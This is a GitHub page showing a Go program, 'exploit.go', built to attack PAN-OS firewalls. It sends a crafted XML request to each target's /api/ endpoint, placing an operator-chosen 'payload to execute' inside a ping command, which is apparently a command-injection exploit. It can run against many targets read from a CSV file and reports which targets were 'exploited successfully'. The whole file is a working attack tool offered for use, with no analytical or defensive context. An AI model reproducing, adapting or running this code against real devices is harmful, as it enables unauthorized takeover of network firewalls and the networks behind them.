-
Notifications
You must be signed in to change notification settings - Fork 0
/
exploit.go
129 lines (111 loc) · 3.28 KB
/
exploit.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
package main
import (
"bufio"
"crypto/tls"
"crypto/x509"
"encoding/csv"
"fmt"
"net/http"
"os"
"strings"
"time"
)
var httpClient = &http.Client{
Timeout: 5 * time.Second,
Transport: &http.Transport{
TLSClientConfig: &tls.Config{},
},
}
func exploitFirewall(targetIP, payload, rootCA string) {
url := fmt.Sprintf("https://%s/api/", targetIP)
requestBody := fmt.Sprintf(`<?xml version="1.0" encoding="UTF-8"?>
<request>
<op cmd="test" />
<cmd code="ping">%s</cmd>
</request>`, payload)
request, err := http.NewRequest("POST", url, strings.NewReader(requestBody))
if err != nil {
fmt.Printf("Failed to create request for %s: %v\n", targetIP, err)
return
}
request.Header.Set("User-Agent", "PAN-OS-Exploit")
request.Header.Set("Content-Type", "application/xml")
if rootCA != "" {
// Load the root CA certificates from the PEM file
rootCAs := x509.NewCertPool()
caCert, err := os.ReadFile(rootCA)
if err != nil {
fmt.Printf("Failed to read root CA file: %v\n", err)
return
}
if !rootCAs.AppendCertsFromPEM(caCert) {
fmt.Println("No root CAs found in PEM file")
return
}
// Configure the TLS client to trust the loaded root CAs
httpClient.Transport.(*http.Transport).TLSClientConfig.RootCAs = rootCAs
}
response, err := httpClient.Do(request)
if err != nil {
fmt.Printf("Failed to exploit %s: %v\n", targetIP, err)
return
}
defer response.Body.Close()
if response.StatusCode == http.StatusOK {
fmt.Printf("Exploited successfully against %s!\n", targetIP)
} else {
fmt.Printf("Exploit failed for %s. Response: %s\n", targetIP, response.Status)
}
}
func main() {
reader := bufio.NewReader(os.Stdin)
fmt.Print("Do you want to enter values directly (D) or use a CSV file (C)? ")
choice, _ := reader.ReadString('\n')
choice = strings.TrimSpace(strings.ToLower(choice))
switch choice {
case "d":
for {
fmt.Print("Enter the IP address of the vulnerable PAN-OS firewall (or 'q' to quit): ")
targetIP, _ := reader.ReadString('\n')
targetIP = strings.TrimSpace(targetIP)
if targetIP == "q" {
break
}
fmt.Print("Enter the path to the root CA certificate (leave blank to disable certificate verification): ")
rootCA, _ := reader.ReadString('\n')
rootCA = strings.TrimSpace(rootCA)
fmt.Print("Enter the payload to execute: ")
payload, _ := reader.ReadString('\n')
payload = strings.TrimSpace(payload)
exploitFirewall(targetIP, payload, rootCA)
}
case "c":
fmt.Print("Enter the path to the CSV file: ")
csvPath, _ := reader.ReadString('\n')
csvPath = strings.TrimSpace(csvPath)
file, err := os.Open(csvPath)
if err != nil {
fmt.Printf("Error opening CSV file: %v\n", err)
return
}
defer file.Close()
csvReader := csv.NewReader(file)
records, err := csvReader.ReadAll()
if err != nil {
fmt.Printf("Error reading CSV records: %v\n", err)
return
}
for _, record := range records {
if len(record) != 3 {
fmt.Println("Invalid CSV format. Each record must contain three fields.")
return
}
targetIP := strings.TrimSpace(record[0])
payload := strings.TrimSpace(record[1])
rootCA := strings.TrimSpace(record[2])
exploitFirewall(targetIP, payload, rootCA)
}
default:
fmt.Println("Invalid choice. Please enter 'D' for entering values directly or 'C' for using a CSV file.")
}
}